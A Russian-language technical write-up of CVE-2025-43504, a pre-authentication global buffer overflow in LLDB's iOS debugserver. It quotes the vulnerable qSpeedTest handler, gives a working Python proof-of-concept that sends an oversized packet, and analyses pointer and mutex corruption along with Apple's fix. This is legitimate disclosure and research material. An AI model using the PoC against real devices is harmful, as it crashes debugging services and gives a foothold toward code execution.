
Технический разбор CVE-2025-43504, удалённого глобального переполнения буфера до аутентификации в debugserver от LLDB для iOS, с кодом PoC и анализом эксплуатации.
В детстве я всегда любил рыться в корзинах с DVD в местном Walmart. Я замечал, что многие одни и те же фильмы лежат сверху, но если как следует покопаться, можно найти более интересные и нишевые названия.
Когда программа переполняет буфер, вы, по сути, залезаете рукой в её корзину уценённых товаров. В зависимости от того, насколько глубоко вы залезете, DVD — или, в данном случае, перезаписанные структуры в памяти — могут измениться.
Сегодняшний уценённый /bin — это CVE-2025-43504: удаленное переполнение глобального буфера без аутентификации, найденное мной в debugserver из LLDB.
Во время разработки приложений разработчикам часто требуется отлаживать своё приложение на физическом устройстве iOS. Для этого Xcode монтирует образ разработчика (Developer Disk Image) на целевой iPhone, а затем устанавливает с ним пару.
После установки пары хост macOS может взаимодействовать с клиентом iOS с помощью debugserver, установленного на клиенте. Теперь любой клиент, способный установить GDB-удаленную сессию с устройства, может обратиться к обработчику и переполнить уязвимый буфер.
debugserverqSpeedTestДавайте посмотрим на страницу безопасности Xcode 26.1, чтобы лучше понять, как Apple классифицировала CVE-2025-43504:

Из-за современных программных средств смягчения Apple считает переполнения буфера в первую очередь проблемой отказа в обслуживании, а не примитивом повреждения. Как мы сегодня увидим, в целом это верно: атакующему придется преодолеть несколько препятствий и, скорее всего, объединить эту проблему с другой ошибкой для достижения произвольного выполнения кода.
Если вы хотите поэкспериментировать с исправленной версией debugserver, используйте следующий коммит или любой коммит до ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
До исправления в RNBRemote.cpp любой удаленный пользователь, который мог подключиться к debugserver устройства iOS, мог отправить предварительно не аутентифицированный пакет qSpeedTest в RNBRemote::HandlePacket_qSpeedTest и повредить соседние структуры в сегменте глобальных данных debugserver.
Однако есть важное замечание: мы управляем только длиной повреждения. Содержимое полезной нагрузки фиксировано и представляет собой поток символов 'a'. Хотя студенты могут радоваться стабильно высоким оценкам, практическая полезность этого переполнения сильно ограничена тем фактом, что мы не можем контролировать фактические записываемые байты — только то, как далеко заходит поток символов 'a'.
Теперь давайте заглянем внутрь RNBRemote::HandlePacket_qSpeedTest, чтобы точно понять, что происходит:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// Мы управляем длиной response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// Переполнение g_data символами 'a' происходит здесь
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
Роль RNBRemote::HandlePacket_qSpeedTest() — обрабатывать входящие пакеты qSpeedTest:response_size:<hex>; без требования аутентификации от удаленного пользователя, который может взаимодействовать с бинарным файлом debugserver на устройстве iOS.
Однако, как только удаленный пользователь может отправить пакет qSpeedTest:response_size:<hex>; на debugserver, в debugserver не происходит никаких проверок аутентификации перед обработкой предоставленного пользователем response_size. Поэтому любой пользователь, который может взаимодействовать с устройством iOS, на котором смонтирован образ разработчика, может переполнить debugserver с помощью пакета qSpeedTest:response_size:<hex>;.
Теперь, когда мы добрались до уязвимой функции RNBRemote::HandlePacket_qSpeedTest(), давайте точно рассмотрим, как происходит переполнение. Сначала из пакета qSpeedTest:response_size:<hex>; извлекается указанный пользователем размер <hex> и сохраняется в переменной response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Если синтаксический анализ успешен и следующим символом является точка с запятой, инициализируется локальный статический буфер размером 4 МиБ + 16 байт g_data и заполняется заголовком ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Собирая всё вместе, memset затем заполняет статический буфер g_data размером 4 МиБ + 16 байт символами 'a', используя указанное пользователем значение response_size как количество символов 'a'.
// Переполнение g_data символами 'a' происходит здесь
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Поэтому каждый раз, когда удаленный клиент LLDB отправляет пакет qSpeedTest:response_size:<hex>; с response_size, превышающим размер буфера 4 МиБ + 16 байт, происходит переполнение буфера и повреждаются соседние глобальные переменные, хранящиеся в сегменте глобальных данных (.bss) debugserver.
Теперь, когда мы понимаем архитектуру, стоящую за переполнением, давайте погрузимся в фактические механизмы уязвимости. Для начала используем следующую программу на Python, чтобы исследовать примитивы повреждения, получаемые через переполнение g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# отправка oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Небольшой дополнительный толчок для проверки использования указателя
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Отправка одного пакета qSpeedTest с выбранным response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Шестнадцатеричная строка для response_size (без префикса 0x), например 40100a или 500000")
args = ap.parse_args()
print(f"[i] Отправка qSpeedTest:response_size:0x{args.size} на {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Готово. Если debugserver упал, проверьте лог на наличие SIGSEGV/SIGBUS и адреса ошибки.")
if __name__ == "__main__":
main()
Запустив debugserver, мы выполняем следующую команду python3 с response_size равным 4004AB:
python3 poc.py --host 127.0.0.1 --port 1234 --size 4004AB
Мы замечаем, что debugserver не падает и возвращается как обычно:

Хотя технически мы вышли за границы, g_data завершается нулевым байтом \0, поэтому соседний указатель на функцию логирования g_log_callback перезаписывается только нулевым байтом, оставляя весь указатель равным NULL.
Запустив debugserver, мы выполняем следующую команду python3 с response_size равным 0x4004AC:
python3 poc.py --host 127.0.0.1 --port 1234 --size 0x4004AC
Вот это да!

Добавив ещё один байт, мы вышли за пределы нулевого хвоста и в итоге разыменовали соседний указатель g_log_callback со значением 0x61, что привело к краху. Теперь давайте последовательно увеличивать параметр --size на единицу и посмотрим, что произойдёт:

Как мы видим, теперь мы управляем значением g_log_callback. Ну, частично: мы действительно управляем только тем, сколько байт в g_log_callback будет равно 0x61.
Мы можем увидеть это в _DNBLogVAPrintf:
static inline void _DNBLogVAPrintf(uint32_t flags, const char *format,
va_list args) {
static std::recursive_mutex g_LogThreadedMutex;
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
if (g_log_callback)
g_log_callback(g_log_baton, flags, format, args);
}
Поскольку g_log_callback не равен NULL, мьютекс блокируется и происходит вызов нашего повреждённого указателя, что приводит к краху. Теперь, начиная с response_size равного 0x4004B3, мы перестаём видеть какие-либо реальные изменения адреса краха или соответствующего стекового следа до тех пор, пока не будет добавлено смещение 0x7F к response_size. Логически это имеет смысл: как только указатель g_log_callback становится повреждённым, любые последующие повреждения других структур логирования становятся нерелевантными из-за первоначального краха при разыменовании g_log_callback.
Интересно, что в производственном релизе macOS до исправления мне удалось использовать этот частичный контроль указателя для перезаписи различных указателей пользовательского пространства в памяти:
0x0000000105006169
0x0000000103006169
0x0000000a0a006169
0x00000009d8006169
0x0000000103006169
0x0000000734006169
0x0000000100006169
По какой-то причине последний байт каждого адреса всегда увеличивался на 0x8 байт. Однако, если бы мы смогли решить проблему выравнивания, создаваемую завершающими байтами 0x6169, и каким-то образом смогли бы предсказать и контролировать данные, разыменовываемые перезаписанным указателем, теоретически мы могли бы перенаправить поток управления и в конечном итоге получить выполнение кода.
Мы кратко обсудили блокировку мьютекса перед разыменованием повреждённого указателя g_log_callback. Теперь, при response_size равном 0x40052C, сам мьютекс становится повреждённым:

Мы замечаем, что проблема возникла, когда _DNBLogVAPrintf выполнила конструкцию lock_guard:
std::lock_guard<std::recursive_mutex> guard(g_LogThreadedMutex);
Судя по стековому следу, мы видим, что lock_guard даёт сбой при вызове __m_.lock:
31│ _LIBCPP_HIDE_FROM_ABI explicit lock_guard(mutex_type& __m) _LIBCPP_THREAD_SAFETY_ANNOTATION(acquire_capability(__m))
32│ : __m_(__m) {
33│ __m_.lock();
│ ▲
34│ }
35│
Изучая дальше, давайте посмотрим на определение функции std::recursive_mutex:
void recursive_mutex::lock() {
int ec = __libcpp_recursive_mutex_lock(&__m_);
if (ec)
std::__throw_system_error(ec, "recursive_mutex lock failed");
}
Похоже, это обёртка для __libcpp_recursive_mutex_lock:
inline _LIBCPP_HIDE_FROM_ABI _LIBCPP_NO_THREAD_SAFETY_ANALYSIS int
__libcpp_recursive_mutex_lock(__libcpp_recursive_mutex_t* __m) {
return pthread_mutex_lock(__m);
}
Которая, в свою очередь, является обёрткой для pthread_mutex_lock:
PTHREAD_NOEXPORT_VARIANT
int
pthread_mutex_lock(pthread_mutex_t *mutex)
{
return _pthread_mutex_lock(mutex, false);
}
Которая является ещё одной обёрткой для _pthread_mutex_lock)... Но нам не нужно заходить так далеко.
Поскольку указатель pthread_mutex_t повреждён нашим переполнением, pthread_mutex_lock выбрасывает std::system_error("recursive_mutex lock failed"), и программа затем вызывает abort() и завершается.
Из-за аварийного завершения программы эксплуатация с response_size в диапазоне от 0x40052C до 0x402C62 значительно усложняется, поскольку мы повреждаем примитив синхронизации с учётом дополнительных проверок, выполняемых macOS.
Теперь, когда мы используем response_size равный 0x402C63 или больше, процессор даёт сбой в RNBRemote::HandlePacket_qSpeedTest, как только memset пересекает границу в какую-либо защитную страницу или неотображённую область, размещённую ядром после сегмента .bss в памяти:

Этот последний вариант переполнения не так интересен, так как нет прямого способа управлять выполнением программы.
Теперь, когда мы рассмотрели саму проблему, давайте посмотрим, как Apple исправила её:

Согласно описанию патча:
Изменить это выделение на кучу и установить максимальный размер, который можно тестировать (пока 4 МБ).
Мы видим два основных изменения:
.bss) debugserver.Учитывая обширную закрытую экосистему, лежащую в основе программного обеспечения и систем Apple, всегда непросто надёжно обнаруживать и понимать дефекты программного обеспечения.
Однако существуют зависимости с открытым исходным кодом, на которые полагается Apple, и если вы сможете найти проблему в одной из них, есть вероятность, что это может повлиять на последующие компоненты.
Удачи в поиске и не забудьте ответственно раскрывать любые найденные вами проблемы 😉